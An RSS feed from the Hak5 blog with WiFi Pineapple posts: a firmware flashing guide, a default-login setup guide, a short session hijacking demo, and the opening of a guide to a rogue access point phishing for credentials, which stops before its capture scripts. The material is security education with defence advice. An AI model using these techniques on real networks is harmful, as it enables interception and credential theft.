<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hak5 - Technolust since 2005 &#187; Hack</title>
	<atom:link href="http://Hak5.org/category/hack/feed" rel="self" type="application/rss+xml" />
	<link>http://Hak5.org</link>
	<description>Trust Your Technolust</description>
	<lastBuildDate>Mon, 06 Feb 2012 02:17:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Get Ready for Defcon 2011</title>
		<link>http://Hak5.org/blog/hak5/get-ready-for-defcon-2011</link>
		<comments>http://Hak5.org/blog/hak5/get-ready-for-defcon-2011#comments</comments>
		<pubDate>Tue, 02 Aug 2011 22:27:42 +0000</pubDate>
		<dc:creator>Shannon Morse</dc:creator>
				<category><![CDATA[Backstage]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Hak.5]]></category>
		<category><![CDATA[convention]]></category>
		<category><![CDATA[def con]]></category>
		<category><![CDATA[defcon]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hakshop]]></category>
		<category><![CDATA[las vegas]]></category>
		<category><![CDATA[rio]]></category>
		<category><![CDATA[store]]></category>
		<category><![CDATA[vegas]]></category>
		<category><![CDATA[vendor]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=3925</guid>
		<description><![CDATA[
			
				
			
		
Hak5 is packed and ready for Def Con 2011! This year, Darren, Paul, and I will be in Las Vegas all weekend- from Wednesday night through Sunday- compiling a delightful Hak5 episode for you to ...]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fblog%2Fhak5%2Fget-ready-for-defcon-2011"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fblog%2Fhak5%2Fget-ready-for-defcon-2011&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Hak5 is packed and ready for Def Con 2011! This year, Darren, Paul, and I will be in Las Vegas all weekend- from Wednesday night through Sunday- compiling a delightful Hak5 episode for you to enjoy. We hope to get some good coverage and photos, so show off your Hak5 tshirt! If you see us, make sure to stop by and say hello!</p>
<p><span id="more-3925"></span></p>
<p>This Def Con also marks Hak5&#8242;s first on location vendor table. Make sure to stop by the vendor area and pick up some swag! We will have Wifi Pineapple V 2&#8242;s, Ubertooth One&#8217;s, Ninja Star&#8217;s, and some other odds and ends. We&#8217;ll be accepting cash and credit card. </p>
<p>Since the store is going to be on site at Def Con, shipments will be delayed for this week until Monday, August 8th.</p>
<p>DEF CON is one of the oldest continuous running hacker conventions around, and also one of the largest. DEF CON is generally in the last week of July or first week of August in Las Vegas. DEF CON 19 will be held August 4 &#8211; August 7 at the Rio Hotel &#038; Casino in Las Vegas. Many people arrive a day early, and many stay a day later.</p>
<p><img class="alignleft size-thumbnail wp-image-1849" title="Shannon Morse" src="http://Hak5.org/wp-content/uploads/2011/05/25-host_shannonmorse.jpg" alt="" width="100" height="100" /><em>Shannon Morse is a co-host of <a href="http://www.hak5.org">Hak5</a> on <a href="http://www.revision3.com/hak5">Revision3</a> and she is on the audio podcast <a href="http://www.biteclubshow.com">Bite Club Show</a>. You can also find her guest hosting various other internet shows now and then. When not geeking out with work, Shannon enjoys video games, anime, manga, traveling, building computers, and spending time with family and friends. Find more info about Shannon <a href="http://about.me/snubs">here</a>.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/blog/hak5/get-ready-for-defcon-2011/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WiFi Pineapple Flashing Guide &#8211; Building or Unbricking</title>
		<link>http://Hak5.org/hack/wifi-pineapple-flashing-guide</link>
		<comments>http://Hak5.org/hack/wifi-pineapple-flashing-guide#comments</comments>
		<pubDate>Sun, 08 May 2011 03:40:11 +0000</pubDate>
		<dc:creator>Darren Kitchen</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[WiFi Pineapple]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=3476</guid>
		<description><![CDATA[
			
				
			
		
WIFI PINEAPPLE VERSION 2 ONLY. THIS WILL NOT WORK WITH THE WIFI PINEAPPLE VERSION 3.
Whether your new to Jasager or you&#8217;ve made a configuration change you wish you hadn&#8217;t, doing a fresh WiFi Pineapple install ...]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fhack%2Fwifi-pineapple-flashing-guide"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fhack%2Fwifi-pineapple-flashing-guide&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><strong>WIFI PINEAPPLE VERSION 2 ONLY. THIS WILL NOT WORK WITH THE WIFI PINEAPPLE VERSION 3.</strong></p>
<p>Whether your new to Jasager or you&#8217;ve made a configuration change you wish you hadn&#8217;t, doing a fresh <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> install is a breeze. This guide walks you through the steps required to flash compatible <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> hardware with the latest version of Robin Wood&#8217;s Jasager firmware as well as default configurations and and packages.<span id="more-3476"></span></p>
<h2>Requirements</h2>
<p>This guide is written for Windows users and should take about 15-20 minutes to complete. In addition to <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> hardware you&#8217;ll need a Telnet, SSH and SCP client (we recommend <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/">PuTTY </a>and <a href="http://winscp.net/eng/index.php">WinSCP</a>) as well as an Ethernet cable and the following download:</p>
<ul>
<li><a href="http://www.twitterphishr.com/build-pineapple.zip">build-pineapple.zip</a> MD5: C5D90DB48E511F8AEF4FDFBCA7E3CF38</li>
</ul>
<h2>Video Walkthrough</h2>
<p><object width="570" height="427"><param name="movie" value="http://www.youtube.com/v/TBSv4F0cnZ4?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed type="application/x-shockwave-flash" width="570" height="427" src="http://www.youtube.com/v/TBSv4F0cnZ4?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0" wmode="transparent" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>
<h2>Preparing your computer</h2>
<p>Before getting to the actual flashing bit the computer&#8217;s network interfaces must be configured. Begin by setting the Ethernet adapter with a static IP address of 192.168.1.100 and a subnet mask of 255.255.255.0. This setting can be found in Windows 7 from the Control Panel under View network status and tasks, and Change adapter settings. Right-click on the Local Area Connection and choose Properties. Select Internet Protocol Version 4 (TCP/IPv4) and click Properties.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5697540060/" title="1-static by Darren Kitchen, on Flickr"><img src="http://farm3.static.flickr.com/2144/5697540060_bb40367b2b.jpg" width="414" height="461" alt="1-static"></a></p>
<p>It is also a good idea to disable any other network adapters that may be present, like a wireless adapter. To do this right-click on the interface and click Disable.</p>
<h2>Flashing the Firmware</h2>
<p>Plug one side of an Ethernet cable into the Ethernet adapter you set with a static address in the previous step. Plug the other end of the cable into the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> hardware. Make sure the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> does not have power, but keep the power cable handy as we&#8217;ll need it in just a moment. Using battery power for the flashing process is not advised.</p>
<p>Open the Freifunk AP51 Easy Flash utility. Check the box labeled Use external file under Rootfs, click browse, and select the openwrt-atheros-root.squashfs file. Repeat this step for the section labeled Kernel choosing openwrt-atheros-vmlinux.lzma</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5696965273/" title="2-freifunk1 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5304/5696965273_85b0330423.jpg" width="492" height="500" alt="2-freifunk1"></a></p>
<p>Select the Ethernet adapter you had previously setup with a static IP address from the drop-down under Interface.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5697540238/" title="2-freifunk2 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5148/5697540238_03336a9458.jpg" width="492" height="500" alt="2-freifunk2"></a></p>
<p>With the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> power cable handy click the Go button, wait one second and plug in the power cable. The <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> will light up and the EasyFlash utility will report &#8220;No packet&#8221; until the device is found. Once the utility is communicating with the device it will report both the computer and <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a>&#8216;s IP and MAC addresses then begin flashing. This process takes about 10 minutes. Once the flash is complete the EasyFlash utility will automatically close and the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> will reboot.</p>
<h2>Initial Setup</h2>
<p>With the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> rebooting, open a command prompt (Start, Run, CMD) and issue &#8220;ping 192.168.1.1 -t&#8221;. This command will continue pinging the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a>. Once replies are reported stop the ping with the CTRL+C keyboard combo. The device is now ready for initial login.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5696965619/" title="3-reboot-and-ping by Darren Kitchen, on Flickr"><img src="http://farm3.static.flickr.com/2362/5696965619_91d4b39c2f.jpg" width="500" height="274" alt="3-reboot-and-ping"></a></p>
<p>Open PuTTY or your Telnet client of choice and enter the host 192.168.1.1. If using PuTTY make sure Telnet is selected, as well as the default port 23. Click Open. </p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5697622560/" title="3-telnet1 by Darren Kitchen, on Flickr"><img src="http://farm3.static.flickr.com/2343/5697622560_144cf64c82.jpg" width="466" height="448" alt="3-telnet1"></a></p>
<p>When greeted with an OpenWRT splash screen type the command &#8220;passwd&#8221; and press enter. Type a password and press enter twice. When &#8220;Password for root changed by root&#8221; is reported the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> is now ready for packages and configuration.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5697622624/" title="3-telnet2 by Darren Kitchen, on Flickr"><img src="http://farm4.static.flickr.com/3024/5697622624_5d7e24909a.jpg" width="500" height="314" alt="3-telnet2"></a></p>
<h2>Wireless Configuration</h2>
<p>Once again open PuTTY or your SSH client of choice. Enter the host 192.168.1.1. If using PuTTY make sure SSH is selected, as well as the default port 22. Click Open. </p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5697622392/" title="4-ssh by Darren Kitchen, on Flickr"><img src="http://farm3.static.flickr.com/2611/5697622392_72eeced054.jpg" width="466" height="448" alt="4-ssh"></a></p>
<p>When greeted with a security alert, click Yes. Enter &#8220;root&#8221; for &#8220;login as&#8221; and the password you had previously configured.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5697622496/" title="4-ssh2 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5026/5697622496_7d8a772a01.jpg" width="427" height="379" alt="4-ssh2"></a></p>
<p>From the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> command line enter the following command to change the wireless configuration setting.</p>
<blockquote><pre>
echo "
config wifi-device  wifi0
option type    atheros
option channel  auto
config wifi-iface
option device wifi0
option network lan
option mode ap
option ssid Pineapple
option encryption none
" > /etc/config/wireless
</pre>
</blockquote>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5697047867/" title="4-ssh4 by Darren Kitchen, on Flickr"><img src="http://farm4.static.flickr.com/3110/5697047867_bc7df87468.jpg" width="500" height="314" alt="4-ssh4"></a></p>
<p>Leave this SSH session window open as it will be used in the next step to install packages.</p>
<h2>Package Install</h2>
<p>Various packages can be installed on the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a>. See the openwrt repository at <a href="http://downloads.openwrt.org/kamikaze/8.09.2/atheros/packages/">downloads.openwrt.org/kamikaze/8.09.2/atheros/packages</a>. The default package on the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> is X-WRT, a web based management interface, and its dependency haserl.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5697622976/" title="5-scp1 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5064/5697622976_dbc00ce874.jpg" width="500" height="353" alt="5-scp1"></a></p>
<p>Open WinSCP and enter the host name 192.168.1.1. Enter root as the user name and the password chosen. Select SCP from the File protocol drop-down and click Login. If presented with two group errors, click OK &#8212; they are safe to ignore.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5697623178/" title="5-scp2 by Darren Kitchen, on Flickr"><img src="http://farm4.static.flickr.com/3091/5697623178_9b5463b68a.jpg" width="500" height="338" alt="5-scp2"></a></p>
<p>Select the haserl and webif package files from your hard disk on the left and drag them to the area on the right. The file transfer will begin.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5697623034/" title="5-scp3 by Darren Kitchen, on Flickr"><img src="http://farm4.static.flickr.com/3191/5697623034_fe9297907b.jpg" width="421" height="234" alt="5-scp3"></a></p>
<p>Back in the SSH session enter the command &#8220;ls&#8221; followed by enter. The package files previously transferred should be reported. Now install both package files with the command &#8220;opkg install *.ipk&#8221;. This process will take just a minute. Once complete a &#8220;SUCCESS!&#8221; message will be reported. At this point the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> has been configured and is ready to be rebooted. Either unplug and replug and power adapter or issue the command &#8220;reboot&#8221;.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5697048185/" title="6-opkg1 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5066/5697048185_322aec46ae.jpg" width="500" height="314" alt="6-opkg1"></a></p>
<p>The <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> has now been flashed and configured with factory default settings. This guide can be followed up with this article on <a href="http://hak5.org/hack/wifi-pineapple-first-connect">logging into the WiFi Pineapple for the first time</a>.</p>
<p><strong>WIFI PINEAPPLE VERSION 2 ONLY. THIS WILL NOT WORK WITH THE WIFI PINEAPPLE VERSION 3.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/hack/wifi-pineapple-flashing-guide/feed</wfw:commentRss>
		<slash:comments>40</slash:comments>
		</item>
		<item>
		<title>Session Hijacking with a WiFi Pineapple in Windows</title>
		<link>http://Hak5.org/hack/session-hijacking-with-a-wifi-pineapple-in-windows</link>
		<comments>http://Hak5.org/hack/session-hijacking-with-a-wifi-pineapple-in-windows#comments</comments>
		<pubDate>Wed, 04 May 2011 23:52:37 +0000</pubDate>
		<dc:creator>Darren Kitchen</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[WiFi Pineapple]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=3471</guid>
		<description><![CDATA[
			
				
			
		
In this segment Darren talks about Session Hijacking and demonstrates a tool from Errata Security called Hamster and Ferret that, in conjunction with a WiFi Pineapple, an ICS&#8217;d 3G connection and Tftpd32 we&#8217;re able to ...]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fhack%2Fsession-hijacking-with-a-wifi-pineapple-in-windows"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fhack%2Fsession-hijacking-with-a-wifi-pineapple-in-windows&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>In this segment Darren talks about Session Hijacking and demonstrates a tool from <a href="http://www.erratasec.com/" target="_blank">Errata Security</a> called <a href="http://erratasec.blogspot.com/2007/08/sidejacking-with-hamster_05.html" target="_blank">Hamster and Ferret</a> that, in conjunction with a <a target="_blank" href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a>, an ICS&#8217;d 3G connection and <a href="http://tftpd32.jounin.net/" target="blank">Tftpd32</a> we&#8217;re able to &#8220;sidejack&#8221; with our little man-in-the-middle setup. Lesson learned? Be suspicious of <u>any</u> wifi. Check for signatures of trusted networks and <a href="http://hak5.org/episodes/episode-614" target="_blank">tunnel your traffic</a>.<span id="more-3471"></span></p>
<p><object width="555" height="312"><param name="movie" value="http://www.youtube.com/v/sIP7ZtDgIpI?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=725" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed type="application/x-shockwave-flash" width="555" height="312" src="http://www.youtube.com/v/sIP7ZtDgIpI?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=725" wmode="transparent" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>
<p>While the tethering WiFi Pineapple and laptop 3G technique in this segment is still quite valid, Darren now prefers to use <a href="http://www.hak5.org/forums/index.php?showtopic=15200">BackTrack Linux as documented here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/hack/session-hijacking-with-a-wifi-pineapple-in-windows/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>WiFi Pineapple: your first connection</title>
		<link>http://Hak5.org/hack/wifi-pineapple-first-connect</link>
		<comments>http://Hak5.org/hack/wifi-pineapple-first-connect#comments</comments>
		<pubDate>Wed, 04 May 2011 22:48:45 +0000</pubDate>
		<dc:creator>Darren Kitchen</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[WiFi Pineapple]]></category>
		<category><![CDATA[Jasager]]></category>
		<category><![CDATA[OpenWRT]]></category>
		<category><![CDATA[Pineapple]]></category>
		<category><![CDATA[Teathering]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[Wifi Pineapple]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=3457</guid>
		<description><![CDATA[
			
				
			
		
So you&#8217;ve built, borrowed or bought a WiFi Pineapple and you&#8217;re new to OpenWRT and Jasager. Hopefully this guide will familiarize you with the many aspects of the the WiFi Pineapple. If you have specific ...]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fhack%2Fwifi-pineapple-first-connect"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fhack%2Fwifi-pineapple-first-connect&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>So you&#8217;ve built, borrowed or bought a <a target="_blank" href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> and you&#8217;re new to OpenWRT and Jasager. Hopefully this guide will familiarize you with the many aspects of the the WiFi Pineapple. If you have specific questions please leave a comment or email feedback@hak5.org and we&#8217;ll try to keep this page updated.</p>
<p>This article will guide you through connecting to the <a target="_blank" href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> for the first time. For more in-depth how-to&#8217;s involving command line control, modules, using the white and black listing functions, sharing Internet access and more please consult the <a href="http://www.hak5.org/forums/index.php?showforum=49">Jasager board on the Hak5 forums</a> and keep an eye on the <a href="http://hak5.org/category/wifi-pineapple-hack">WiFi Pineapple category of the Hak5.org blog</a> for future articles on these topics.<span id="more-3457"></span></p>
<h2>First and foremost</h2>
<p>The <a target="_blank" href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a> is a customized version of OpenWRT running the latest Jasager software by Robin Wood. Since OpenWRT is a Linux based wireless networking operating system you&#8217;ll want to be familiar with basic Linux and <a href="http://www.tcpipguide.com/free/t_NetworkingFundamentals.htm">networking fundamentals</a>.</p>
<h2>Tools you&#8217;ll find handy</h2>
<p>Right out of the box most everything can be configured with just about any web browser, but you&#8217;ll likely also want a tool or two to get a shell and transfer files. If you&#8217;re using Linux or Mac you already have the ssh and scp commands at your disposal. If you&#8217;re on Windows we recommend using the <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/">PuTTY</a> and <a href="http://winscp.net/eng/index.php">WinSCP</a> GUI tools or the command-line equivelent <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/">Plink</a>.</p>
<h2>Battery Powering the Pineapple</h2>
<p>The WiFi Pineapple requires 5V and 2A of DC power. If you&#8217;re looking to go mobile leave the wall-wart at home. Four AA rechargeable batteries work well at powering this puppy. It&#8217;s important to get AA batteries with a high mAh rating. We recommend <a href="http://www.amazon.com/s/ref=nb_sb_ss_c_1_21?url=search-alias%3Delectronics&amp;field-keywords=2500+mah+aa+batteries&amp;x=0&amp;y=0&amp;sprefix=2500+mah+aa+batteries">no less than 2400</a>, so pick up a few meant for digital cameras for best results. If your standard alkalines aren&#8217;t doing the trick it&#8217;s probably due to a low mAh rating. Check the packaging. Of course we recommend rechargeables over the landfill populating variety.</p>
<h2>Connecting for the first time</h2>
<p>There are many ways to connect to and configure a <a target="_blank" href="http://hakshop.com/collections/frontpage/products/wifi-pineapple">WiFi Pineapple</a>. Here are a few:</p>
<h3>Via Ethernet</h3>
<p>Power up and connect an Ethernet cable between your computer and the router&#8217;s. In its stock configuration the WiFi Pineapple is configured with the static IPv4 address of 192.168.1.1. It is also setup to hand out IP addresses in the 192.168.1.0/24 range via DHCP. If your machine is configured to obtain an IP address automatically you should get something like 192.168.1.100 from it momentarily.</p>
<h3>Configuring your interface to obtain an IP address from the WiFi Pineapple&#8217;s DHCP server</h3>
<p>In case your computer is not already setup to obtain an IP address on the Ethernet interface from a DHCP server, here are quick instructions for some common operating systems.</p>
<h3>Windows XP</h3>
<p>Open Network Connections from the Control Panel. Right-click on the Local Area Connection and choose Properties. From the dialog select Internet Protocol TCP/IP and click Properties. From the General tab choose Obtain an IP address automatically and Obtain DNS server address automatically. Click OK twice.</p>
<h3>Windows 7</h3>
<p>Click Choose Network Status and Tasks from the Control Panel. Click Change adapter settings. Right click the Local Area Connection and choose Properties. Select Internet Protocol Version 4 and click Properties. Select Obtain and IP address automatically and Obtain DNS server address automatically, then click OK twice.</p>
<h3>Linux / Mac</h3>
<p>Open a terminal and issue ifconfig eth0 where eth0 is the Ethernet interface connected to the WiFi Pineapple. Check the inet addr reported. If it is not a 192.168.1.x address you&#8217;ll want to manually ask for an address from the DHCP server on the pineapple. Depending on your distribution the command to do this may be &#8220;dhclient eth0&#8243; or &#8220;dhcpcd eth0&#8243;.</p>
<h3>Via Wireless</h3>
<p>By default the SSID of the WiFi Pineapple is either &#8220;Pineapple&#8221; or &#8220;OpenWRT&#8221; without encryption. Connect to it as you would to any ordinary wireless access point. The pineapple will assign you an IP address via DHCP. If for some reason your Wireless interface has not been configured to obtain an address automatically please consult the above instructions substituting your wireless interface for the Ethernet interface.</p>
<h3>Via Serial</h3>
<p>WiFi Pineapples bought or built on Fon 2100 or Accton MR3201A hardware sport shell access through a serial interface. For information on this access method please consult these fine documents:</p>
<ul>
<li><a href="http://www.digininja.org/projects/fon_serial_cable.php">Fon Serial Cable at digininja.org</a></li>
<li><a href="http://www.dd-wrt.com/wiki/index.php/LaFonera_Hardware_Serial-Cable-Port">LaFonera Hardware Serial-Cable-Port on dd-wrt.com</a></li>
</ul>
<p>&nbsp;</p>
<h2>Accessing the Jasager Interface</h2>
<p>Once connected via Ethernet or wireless you can point your web browser at the Jasager management interface. Here you can configure the interface, karma, mac address filtering, ssid white/black listing and execute commands on connected clients.</p>
<p>By default the Jasager interface can be found at http://192.168.1.1:1471. It&#8217;s important to note the :1471 bit as that specifies the non-standard port number of this http interface. Any modern web browser will work, be it Firefox, Chrome, Safari, Opera or Internet Explorer. I&#8217;ve even successfully used it with the text-only browser Lynx! You&#8217;ll need to login. By default the username is root and password is &#8220;pineapplesareyummy&#8221; (sans quotes).</p>
<h3>Status / Main Controls</h3>
<p>The options in this section allow you to control the wireless card and karma features. The SSID list is a list of SSIDs that the interface will either accept (whitelist mode) or ignore (blacklist mode). One thing to watch out for is that changing from blacklist to whitelist mode, and vise-versa does not reset the SSID list.</p>
<h3>Connected Clients</h3>
<p>The list of connected clients comes from a merger of wlanconfig output, information in the log file and the ARP cache. A blank IP address may mean the client hasn&#8217;t got an IP address or hasn&#8217;t used it for a while so it has slipped from the ARP table.<br />
The dropdown list of commands allows you to add the clients SSID to the watch list and kick the MAC address. Kicking is not blocking a MAC, just temporarily disconnecting it, most clients will attempt to reconnect within seconds of being kicked. Kicking can be useful if you blacklist a SSID and need to remove any currently associated clients. I have an idea that this list will grow with useful commands such as blocking MAC addresses and initiating things such as nmap scans. Watch out for new features in version 2.</p>
<h3>Log</h3>
<p>All activity is logged to /karma/log/status.log which gets dumped out to the log window.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/hack/wifi-pineapple-first-connect/feed</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Phishing with a WiFi Pineapple</title>
		<link>http://Hak5.org/hack/pineapple-phishing</link>
		<comments>http://Hak5.org/hack/pineapple-phishing#comments</comments>
		<pubDate>Wed, 04 May 2011 18:14:43 +0000</pubDate>
		<dc:creator>Darren Kitchen</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[WiFi Pineapple]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=3435</guid>
		<description><![CDATA[
			
				
			
		
This guide builds on the Auto-Rickroll payload for the WiFi Pineapple. Following this guide you will be able to create a self-contained WiFi Pineapple or similar OpenWRT based wireless access point serving up faux websites ...]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fhack%2Fpineapple-phishing"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fhack%2Fpineapple-phishing&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>This guide builds on the <a href="http://hak5.org/hack/auto-rickrolling-wifi-pineapple" target="_blank">Auto-Rickroll payload for the WiFi Pineapple</a>. Following this guide you will be able to create a self-contained <a href="http://hakshop.com/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> or similar OpenWRT based wireless access point serving up faux websites to capture login credentials. The purpose of this article is to point out the simplicity of a phishing attack using the dnsmasq technique of the <a href="http://hak5.org/hack/auto-rickrolling-wifi-pineapple" target="_blank">Auto-Rickroll payload</a>, and how you can protect yourself from similar attacks. See the mitigation section at the bottom of the article for defense advice.<span id="more-3435"></span></p>
<h2>Demonstration</h2>
<p><object width="555" height="312"><param name="movie" value="http://www.youtube.com/v/3uNdu9TM3HM?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=456" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed type="application/x-shockwave-flash" width="555" height="312" src="http://www.youtube.com/v/3uNdu9TM3HM?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=456" wmode="transparent" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>
<p>Before beginning please follow the instructions outlined in the <a href="http://hak5.org/hack/auto-rickrolling-wifi-pineapple" target="_blank">Auto-Rickrolling WiFi-Pineapple article</a>. Once complete we will:</p>
<ol>
<li>Install PHP and dependencies</li>
<li>Configure PHP and HTTPD</li>
<li>Testing the PHP installation</li>
<li>Write redirection and capture scripts</li>
<li>Modify a website to capture credentials</li>
</ol>
<h2>Install PHP and dependencies</h2>
<p>The installation of PHP on OpenWRT is pretty straight forward. Considering the size limitations and power of your typically embedded device such as the <a href="http://hakshop.com/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> and what we&#8217;re trying to achieve I have opted for the 4x build of PHP, rather than the newer 5x. Feel free to deviate if your needs require the newer features of 5.</p>
<p>Begin by downloading and installing the following packages from <a href="http://downloads.openwrt.org/kamikaze/8.09.2/atheros/packages/" target="_blank">downloads.openwrt.org</a>: libopenssl_0.9.8i-3.2_mips.ipk, php4_4.4.7-1_mips.ipk, php4-cgi_4.4.7-1_mips.ipk and zlib_1.2.3-5_mips.ipk </p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5687298611/" title="packages by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5263/5687298611_3b63fd5c0e.jpg" width="500" height="137" alt="packages"></a></p>
